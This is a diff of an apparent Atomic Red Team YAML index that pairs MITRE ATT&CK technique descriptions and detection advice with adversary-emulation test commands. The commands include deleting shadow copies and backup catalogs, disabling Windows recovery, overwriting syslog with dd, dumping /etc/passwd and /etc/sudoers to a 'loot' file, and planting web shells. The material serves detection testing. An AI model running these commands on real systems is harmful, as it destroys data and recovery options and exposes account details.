url: https://attack.mitre.org/techniques/T1166 + - source_name: setuid man page + description: Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. + Retrieved September 21, 2018. + url: http://man7.org/linux/man-pages/man2/setuid.2.html + - source_name: OSX Keydnap malware + description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware + is hungry for credentials. Retrieved July 3, 2017. + url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/ + modified: '2019-06-24T12:06:41.014Z' identifier: T1166 atomic_tests: - name: Setuid and Setgid @@ -12401,42 +12697,12 @@ privilege-escalation: sudo chmod g+s #{file_to_setuid} T1165: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1165 - source_name: mitre-attack - external_id: T1165 - - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html - source_name: Startup Items - description: Apple. (2016, September 13). Startup Items. Retrieved July 11, - 2017. - - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf - source_name: Methods of Mac Malware Persistence - description: Patrick Wardle. (2014, September). Methods of Malware Persistence - on Mac OS X. Retrieved July 5, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_permissions_required: + - Administrator x_mitre_data_sources: - File monitoring - Process monitoring - modified: '2018-10-31T13:45:13.024Z' - x_mitre_detection: The /Library/StartupItems folder can be monitored - for changes. Similarly, the programs that are actually executed from this - mechanism should be checked against a whitelist. Monitor processes that are - executed during the bootup process to check for unusual or unknown applications - and behavior. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - macOS - kill_chain_phases: - - phase_name: persistence - kill_chain_name: mitre-attack - - phase_name: privilege-escalation - kill_chain_name: mitre-attack - id: attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f name: Startup Items - created: '2017-12-14T16:46:06.044Z' - x_mitre_version: '1.0' - type: attack-pattern description: "Per Apple’s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution @@ -12452,12 +12718,42 @@ privilege-escalation: bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well." - x_mitre_effective_permissions: - - root - x_mitre_permissions_required: - - Administrator - identifier: T1165 - atomic_tests: + id: attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f + x_mitre_platforms: + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: The /Library/StartupItems folder can be monitored + for changes. Similarly, the programs that are actually executed from this + mechanism should be checked against a whitelist. Monitor processes that are + executed during the bootup process to check for unusual or unknown applications + and behavior. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-12-14T16:46:06.044Z' + x_mitre_effective_permissions: + - root + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + external_references: + - external_id: T1165 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1165 + - source_name: Startup Items + description: Apple. (2016, September 13). Startup Items. Retrieved July 11, + 2017. + url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html + - source_name: Methods of Mac Malware Persistence + description: Patrick Wardle. (2014, September). Methods of Malware Persistence + on Mac OS X. Retrieved July 5, 2017. + url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf + modified: '2019-07-18T17:58:17.016Z' + identifier: T1165 + atomic_tests: - name: Startup Items description: | Modify or create an file in StartupItems @@ -12492,33 +12788,11 @@ privilege-escalation: sudo rm /private/var/db/emondClients/T1165 T1169: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1169 - source_name: mitre-attack - external_id: T1169 - - url: https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/ - source_name: OSX.Dok Malware - description: Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web - traffic. Retrieved July 10, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_data_sources: - File monitoring - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: On Linux, auditd can alert every time a user's actual ID - and effective ID are different (this is what happens when you sudo). - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - kill_chain_phases: - - phase_name: privilege-escalation - kill_chain_name: mitre-attack - id: attack-pattern--9e80ddfb-ce32-4961-a778-ca6a10cfae72 + x_mitre_permissions_required: + - User name: Sudo - created: '2017-12-14T16:46:06.044Z' - x_mitre_version: '1.0' - type: attack-pattern description: "The sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of @@ -12530,10 +12804,32 @@ privilege-escalation: can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though." + id: attack-pattern--9e80ddfb-ce32-4961-a778-ca6a10cfae72 + x_mitre_platforms: + - Linux + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: On Linux, auditd can alert every time a user's actual ID + and effective ID are different (this is what happens when you sudo). + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-12-14T16:46:06.044Z' x_mitre_effective_permissions: - root - x_mitre_permissions_required: - - User + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + external_references: + - external_id: T1169 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1169 + - source_name: OSX.Dok Malware + description: Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web + traffic. Retrieved July 10, 2017. + url: https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/ + modified: '2019-07-18T18:34:14.365Z' identifier: T1169 atomic_tests: - name: Sudo usage @@ -12552,39 +12848,12 @@ privilege-escalation: vim /etc/sudoers T1206: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1206 - source_name: mitre-attack - external_id: T1206 - - url: https://www.sudo.ws/ - source_name: sudo man page 2018 - description: Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018. - - url: https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does - source_name: cybereason osx proton - description: Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually - Does. Retrieved March 19, 2018. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_data_sources: - File monitoring - Process command-line parameters - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: This technique is abusing normal functionality in macOS and - Linux systems, but sudo has the ability to log all input and output based - on the LOG_INPUT and LOG_OUTPUT directives in the - /etc/sudoers file. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - kill_chain_phases: - - phase_name: privilege-escalation - kill_chain_name: mitre-attack - id: attack-pattern--2169ba87-1146-4fc7-a118-12b72251db7e + x_mitre_permissions_required: + - User name: Sudo Caching - created: '2018-04-18T17:59:24.739Z' - x_mitre_version: '1.0' - type: attack-pattern description: "The sudo command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit @@ -12609,10 +12878,37 @@ privilege-escalation: osx proton). In order for this change to be reflected, the Proton malware also must issue killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default." + id: attack-pattern--2169ba87-1146-4fc7-a118-12b72251db7e + x_mitre_platforms: + - Linux + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: This technique is abusing normal functionality in macOS and + Linux systems, but sudo has the ability to log all input and output based + on the LOG_INPUT and LOG_OUTPUT directives in the + /etc/sudoers file. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2018-04-18T17:59:24.739Z' x_mitre_effective_permissions: - root - x_mitre_permissions_required: - - User + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + external_references: + - external_id: T1206 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1206 + - source_name: sudo man page 2018 + description: Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018. + url: https://www.sudo.ws/ + - source_name: cybereason osx proton + description: Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually + Does. Retrieved March 19, 2018. + url: https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does + modified: '2019-06-24T13:19:32.798Z' identifier: T1206 atomic_tests: - name: Unlimited sudo cache timeout @@ -12644,30 +12940,29 @@ privilege-escalation: sudo visudo -c -f /etc/sudoers T1100: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1100 - source_name: mitre-attack - external_id: T1100 - - url: https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html - source_name: Lee 2013 - description: Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down - the China Chopper Web Shell - Part I. Retrieved March 27, 2015. - - url: https://www.us-cert.gov/ncas/alerts/TA15-314A - source_name: US-CERT Alert TA15-314A Web Shells - description: US-CERT. (2015, November 13). Compromised Web Servers and Web - Shells - Threat Awareness and Guidance. Retrieved June 8, 2016. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_system_requirements: - - Adversary access to Web server with vulnerability or account to upload and - serve the Web shell file. x_mitre_data_sources: - Anti-virus - Authentication logs - File monitoring - Netflow/Enclave netflow - Process monitoring - modified: '2018-10-17T00:14:20.652Z' + type: attack-pattern + name: Web Shell + description: |- + A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013) + + Web shells may serve as [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a persistence mechanism in case an adversary's primary access methods are detected and removed. + id: attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df + x_mitre_platforms: + - Linux + - Windows + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + x_mitre_system_requirements: + - Adversary access to Web server with vulnerability or account to upload and + serve the Web shell file. x_mitre_detection: |- Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013) @@ -12675,27 +12970,31 @@ privilege-escalation: Nevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as running [cmd](https://attack.mitre.org/software/S0106) or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells) created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - Windows - - macOS - kill_chain_phases: - - phase_name: persistence - kill_chain_name: mitre-attack - - phase_name: privilege-escalation - kill_chain_name: mitre-attack - id: attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df - name: Web Shell created: '2017-05-31T21:31:13.061Z' - x_mitre_version: '1.0' - type: attack-pattern - description: |- - A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013) - - Web shells may serve as [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a persistence mechanism in case an adversary's primary access methods are detected and removed. x_mitre_effective_permissions: - SYSTEM - User + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + external_references: + - external_id: T1100 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1100 + - source_name: capec + external_id: CAPEC-650 + url: https://capec.mitre.org/data/definitions/650.html + - source_name: Lee 2013 + description: Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down + the China Chopper Web Shell - Part I. Retrieved March 27, 2015. + url: https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html + - source_name: US-CERT Alert TA15-314A Web Shells + description: US-CERT. (2015, November 13). Compromised Web Servers and Web + Shells - Threat Awareness and Guidance. Retrieved June 8, 2016. + url: https://www.us-cert.gov/ncas/alerts/TA15-314A + modified: '2019-07-17T20:11:10.736Z' identifier: T1100 atomic_tests: - name: Web Shell Written to Disk @@ -12719,1105 +13018,933 @@ privilege-escalation: command: 'xcopy #{web_shells} #{web_shell_path} ' -discovery: - T1087: +impact: + '': technique: - external_references: - - url: https://attack.mitre.org/techniques/T1087 - source_name: mitre-attack - external_id: T1087 - - url: https://capec.mitre.org/data/definitions/575.html - source_name: capec - external_id: CAPEC-575 + x_mitre_data_sources: + - Packet capture + - Network protocol analysis + x_mitre_permissions_required: + - User + - Administrator + - root + - SYSTEM + name: Transmitted Data Manipulation + description: "Adversaries may alter data en route to storage or other systems + in order to manipulate external outcomes or hide activity.(Citation: FireEye + APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted + data, adversaries may attempt to affect a business process, organizational + understanding, and decision making. \n\nManipulation may be possible over + a network connection or between system processes where there is an opportunity + deploy a tool that will intercept and change information. The type of modification + and the impact it will have depends on the target transmission mechanism as + well as the goals and objectives of the adversary. For complex systems, an + adversary would likely need special expertise and possibly access to specialized + software related to the system that would typically be gained through a prolonged + information gathering campaign in order to have the desired impact." + id: attack-pattern--cc1e737c-236c-4e3b-83ba-32039a626ef8 + x_mitre_platforms: + - Linux + - macOS + - Windows object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Travis Smith, Tripwire + x_mitre_version: '1.0' + x_mitre_impact_type: + - Integrity + type: attack-pattern + x_mitre_detection: Detecting the manipulation of data as at passes over a network + can be difficult without the appropriate tools. In some cases integrity verification + checks, such as file hashing, may be used on critical files as they transit + a network. With some critical processes involving transmission of data, manual + or out-of-band integrity checking may be useful for identifying manipulated + data. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2019-04-09T16:08:20.824Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: impact + external_references: + - source_name: mitre-attack + external_id: T1493 + url: https://attack.mitre.org/techniques/T1493 + - source_name: FireEye APT38 Oct 2018 + description: 'FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved + November 6, 2018.' + url: https://content.fireeye.com/apt/rpt-apt38 + - description: Department of Justice. (2018, September 6). Criminal Complaint + - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019. + source_name: DOJ Lazarus Sony 2018 + url: https://www.justice.gov/opa/press-release/file/1092091/download + modified: '2019-06-20T16:56:29.277Z' + atomic_tests: [] + T1485: + technique: x_mitre_data_sources: - - API monitoring - - Process monitoring + - File monitoring - Process command-line parameters - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: |- - System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + - Process monitoring + x_mitre_permissions_required: + - User + - Administrator + - root + - SYSTEM + name: Data Destruction + description: |- + Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1488) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure. - Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017) + + To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018) + id: attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c x_mitre_platforms: - Linux - macOS - Windows - kill_chain_phases: - - phase_name: discovery - kill_chain_name: mitre-attack - id: attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08 - name: Account Discovery - created: '2017-05-31T21:31:06.988Z' + x_mitre_impact_type: + - Availability x_mitre_version: '1.0' + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern - description: "Adversaries may attempt to get a listing of local system or domain - accounts. \n\n### Windows\n\nExample commands that can acquire this information - are net user, net group , and net - localgroup using the [Net](https://attack.mitre.org/software/S0039) - utility or through use of [dsquery](https://attack.mitre.org/software/S0105). - If adversaries attempt to identify the primary user, currently logged in user, - or set of users that commonly uses a system, [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) - may apply.\n\n### Mac\n\nOn Mac, groups can be enumerated through the groups - and id commands. In mac specifically, dscl . list /Groups - and dscacheutil -q group can also be used to enumerate groups - and users.\n\n### Linux\n\nOn Linux, local users can be enumerated through - the use of the /etc/passwd file which is world readable. In mac, - this same file is only used in single-user mode in addition to the /etc/master.passwd - file.\n\nAlso, groups can be enumerated through the groups and - id commands." - x_mitre_permissions_required: - - User - identifier: T1087 + x_mitre_detection: Use process monitoring to monitor the execution and command-line + parameters of binaries that could be involved in data destruction activity, + such as [SDelete](https://attack.mitre.org/software/S0195). Monitor for the + creation of suspicious files as well as high unusual file modification activity. + In particular, look for large quantities of file modifications in user directories + and under C:\Windows\System32\. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2019-03-14T18:47:17.701Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: impact + external_references: + - source_name: mitre-attack + external_id: T1485 + url: https://attack.mitre.org/techniques/T1485 + - description: Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March + 14, 2019. + source_name: Symantec Shamoon 2012 + url: https://www.symantec.com/connect/blogs/shamoon-attacks + - source_name: FireEye Shamoon Nov 2016 + description: FireEye. (2016, November 30). FireEye Responds to Wave of Destructive + Cyber Attacks in Gulf Region. Retrieved January 11, 2017. + url: https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html + - source_name: Palo Alto Shamoon Nov 2016 + description: 'Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack + Wiper. Retrieved January 11, 2017.' + url: http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/ + - description: 'Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: + Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.' + source_name: Kaspersky StoneDrill 2017 + url: https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf + - description: Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas + Organization. Retrieved March 14, 2019. + source_name: Unit 42 Shamoon3 2018 + url: https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/ + - description: Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer + Takes Aim At Winter Olympics. Retrieved March 14, 2019. + source_name: Talos Olympic Destroyer 2018 + url: https://blog.talosintelligence.com/2018/02/olympic-destroyer.html + modified: '2019-07-19T14:34:28.595Z' + identifier: T1485 atomic_tests: - - name: Enumerate all accounts - description: 'Enumerate all accounts by copying /etc/passwd to another file + - name: Windows - Delete Volume Shadow Copies + description: 'Deletes Windows Volume Shadow Copies. This technique is used by + numerous ransomware families and APT malware such as Olympic Destroyer. ' supported_platforms: - - linux - - macos - input_arguments: - output_file: - description: Path where captured results will be placed - type: Path - default: "~/loot.txt" + - windows executor: - name: sh - command: 'cat /etc/passwd > #{output_file} + name: command_prompt + elevation_required: true + command: 'vssadmin.exe delete shadows /all /quiet ' - - name: View sudoers access - description: "(requires root)\n" - supported_platforms: - - linux - - macos - input_arguments: - output_file: - description: Path where captured results will be placed - type: Path - default: "~/loot.txt" - executor: - name: sh - command: 'cat /etc/sudoers > #{output_file} + - name: Windows - Delete Windows Backup Catalog + description: 'Deletes Windows Backup Catalog. This technique is used by numerous + ransomware families and APT malware such as Olympic Destroyer. ' - - name: View accounts with UID 0 - description: 'View accounts wtih UID 0 + supported_platforms: + - windows + executor: + name: command_prompt + elevation_required: true + command: 'wbadmin.exe delete catalog -quiet ' + - name: Windows - Disable Windows Recovery Console Repair + description: "Disables repair by the Windows Recovery Console on boot. \nThis + technique is used by numerous ransomware families and APT malware such as + Olympic Destroyer.\n" supported_platforms: - - linux - - macos + - windows + executor: + name: command_prompt + elevation_required: true + command: | + bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures + bcdedit.exe /set {default} recoveryenabled no + - name: Windows - Overwrite file with Sysinternals SDelete + description: | + Overwrites and deletes a file using Sysinternals SDelete. + Requires the download of either Sysinternals Suite or the individual SDelete utility. + supported_platforms: + - windows input_arguments: - output_file: - description: Path where captured results will be placed + file_to_overwrite: + description: Path of file to overwrite and remove type: Path - default: "~/loot.txt" + default: C:\some\file.txt executor: - name: sh - command: 'grep ''x:0:'' /etc/passwd > #{output_file} - name: List opened files - by user + name: command_prompt + command: 'sdelete.exe #{file_to_overwrite} ' - - name: List opened files by user - description: 'List opened files by user + - name: macOS/Linux - Overwrite file with DD + description: | + Overwrites and deletes a file using DD. -' + To stop the test, break the command with CTRL/CMD+C. supported_platforms: + - centos - linux - macos + - ubuntu + input_arguments: + overwrite_source: + description: Path of data source to overwrite with + type: Path + default: "/dev/zero" + file_to_overwrite: + description: Path of file to overwrite and remove + type: Path + default: "/var/log/syslog" executor: - name: sh - command: 'username=$(echo $HOME | awk -F''/'' ''{print $3}'') && lsof -u $username + name: bash + command: dd of=#{file_to_overwrite} if=#{overwrite_source} + T1490: + technique: + x_mitre_data_sources: + - Windows Registry + - Services + - Windows event logs + - Process command-line parameters + - Process monitoring + x_mitre_permissions_required: + - Administrator + - root + - SYSTEM + - User + name: Inhibit System Recovery + description: |- + Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) -' - - name: Show if a user account has ever logger in remotely - description: 'Show if a user account has ever logger in remotely + A number of native Windows utilities have been used by adversaries to disable or delete system recovery features: + + * vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet + * [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - wmic shadowcopy delete + * wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet + * bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no + id: attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a + x_mitre_platforms: + - Windows + - macOS + - Linux + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + x_mitre_impact_type: + - Availability + type: attack-pattern + x_mitre_detection: |- + Use process monitoring to monitor the execution and command line parameters of binaries involved in inhibiting system recovery, such as vssadmin, wbadmin, and bcdedit. The Windows event logs, ex. Event ID 524 indicating a system catalog was deleted, may contain entries associated with suspicious activity. + + Monitor the status of services involved in system recovery. Monitor the registry for changes associated with system recovery features (ex: the creation of HKEY_CURRENT_USER\Software\Policies\Microsoft\PreviousVersions\DisableLocalPage). + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Yonatan Gotlib, Deep Instinct + created: '2019-04-02T13:54:43.136Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: impact + external_references: + - source_name: mitre-attack + external_id: T1490 + url: https://attack.mitre.org/techniques/T1490 + - description: Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer + Takes Aim At Winter Olympics. Retrieved March 14, 2019. + source_name: Talos Olympic Destroyer 2018 + url: https://blog.talosintelligence.com/2018/02/olympic-destroyer.html + - description: Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry + Malware Profile. Retrieved March 15, 2019. + source_name: FireEye WannaCry 2017 + url: https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html + modified: '2019-07-19T14:37:37.347Z' + identifier: T1490 + atomic_tests: + - name: Windows - Delete Volume Shadow Copies + description: 'Deletes Windows Volume Shadow Copies. This technique is used by + numerous ransomware families and APT malware such as Olympic Destroyer. ' supported_platforms: - - linux - - macos - input_arguments: - output_file: - description: Path where captured results will be placed - type: Path - default: "~/loot.txt" + - windows executor: - name: sh - command: 'lastlog > #{output_file} + name: command_prompt + elevation_required: true + command: 'vssadmin.exe delete shadows /all /quiet ' - - name: Enumerate users and groups - description: 'Utilize groups and id to enumerate users and groups + - name: Windows - Delete Volume Shadow Copies via WMI + description: 'Deletes Windows Volume Shadow Copies via WMI. This technique is + used by numerous ransomware families and APT malware such as Olympic Destroyer. ' supported_platforms: - - linux - - macos + - windows executor: - name: sh - command: | - groups - id - - name: Enumerate users and groups - description: 'Utilize local utilities to enumerate users and groups + name: command_prompt + elevation_required: true + command: 'wmic.exe shadowcopy delete ' - supported_platforms: - - macos - executor: - name: sh - command: | - dscl . list /Groups - dscl . list /Users - dscl . list /Users | grep -v '_' - dscacheutil -q group - dscacheutil -q user - - name: Enumerate all accounts - description: 'Enumerate all accounts + - name: Windows - Delete Windows Backup Catalog + description: 'Deletes Windows Backup Catalog. This technique is used by numerous + ransomware families and APT malware such as Olympic Destroyer. ' supported_platforms: - windows executor: name: command_prompt - elevation_required: false - command: | - net user - net user /domain - dir c:\Users\ - cmdkey.exe /list - net localgroup "Users" - net localgroup - - name: Enumerate all accounts via PowerShell - description: 'Enumerate all accounts via PowerShell + elevation_required: true + command: 'wbadmin.exe delete catalog -quiet ' + - name: Windows - Disable Windows Recovery Console Repair + description: "Disables repair by the Windows Recovery Console on boot. \nThis + technique is used by numerous ransomware families and APT malware such as + Olympic Destroyer.\n" supported_platforms: - windows executor: - name: powershell - elevation_required: false + name: command_prompt + elevation_required: true command: | - net user - net user /domain - get-localuser - get-localgroupmembers -group Users - cmdkey.exe /list - ls C:/Users - get-childitem C:\Users\ - dir C:\Users\ - get-aduser -filter * - get-localgroup - net localgroup - - name: Enumerate logged on users - description: 'Enumerate logged on users - -' - supported_platforms: - - windows - executor: - name: command_prompt - elevation_required: false - command: 'query user - -' - - name: Enumerate logged on users via PowerShell - description: 'Enumerate logged on users via PowerShell - -' - supported_platforms: - - windows - executor: - name: powershell - elevation_required: false - command: 'query user - -' - T1010: + bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures + bcdedit.exe /set {default} recoveryenabled no + T1496: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1010 - source_name: mitre-attack - external_id: T1010 - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_data_sources: - - API monitoring + - Azure activity logs + - Stackdriver logs + - AWS CloudTrail logs + - Process use of network - Process monitoring - - Process command-line parameters - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: |- - System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. - - Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management 